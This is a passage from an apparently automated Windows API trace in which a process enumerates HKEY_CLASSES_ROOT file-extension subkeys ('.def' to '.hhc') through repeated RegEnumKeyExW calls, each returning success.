lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".def", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x60, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".der", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x61, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".desklink", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x62, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".det", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x63, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".diagcab", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x64, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".diagcfg", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x65, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".diagpkg", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x66, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dib", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x67, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dic", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x68, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".disco", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x69, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".diz", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x6a, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dll", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x6b, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dl_", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x6c, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".doc", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x6d, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dochtml", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x6e, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".docm", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x6f, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".docmhtml", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x70, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".docx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x71, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".docxml", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x72, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dos", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x73, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dot", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x74, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dothtml", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x75, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dotm", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x76, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dotx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x77, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dqy", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x78, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".drv", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x79, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dsn", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x7a, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dsp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x7b, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dsw", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x7c, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dtd", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x7d, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".DVR", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x7e, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".DVR-MS", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x7f, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dwfx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x80, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".easmx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x81, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".edrwx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x82, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".elm", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x83, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".emf", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x84, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".eml", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x85, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".eprtx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x86, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".eps", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x87, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".etp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x88, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".evt", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x89, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".evtx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x8a, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".exc", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x8b, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".exe", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x8c, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".exp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x8d, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ext", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x8e, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ex_", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x8f, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".eyb", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x90, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".faq", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x91, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".fdf", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x92, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".fdm", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x93, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".fif", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x94, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".fky", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x95, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".fnd", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x96, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".fnt", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x97, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".fon", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x98, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".gadget", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x99, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".gcsx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x9a, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".gfs", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x9b, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ghi", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x9c, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".gif", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x9d, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".glk", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x9e, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".glox", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x9f, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".gmmp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa0, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".gqsx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa1, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".gra", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa2, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".group", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa3, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".grp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa4, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".grv", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa5, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".gsa", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa6, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".gta", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa7, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".gz", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa8, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".h", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa9, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".H1C", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xaa, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".H1D", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xab, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".H1F", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xac, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".H1H", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xad, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".H1K", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xae, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".H1Q", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xaf, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".H1S", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb0, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".H1T", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb1, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".H1V", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb2, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".H1W", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb3, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hdp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb4, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hhc", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb5, lpName=0x78026c, 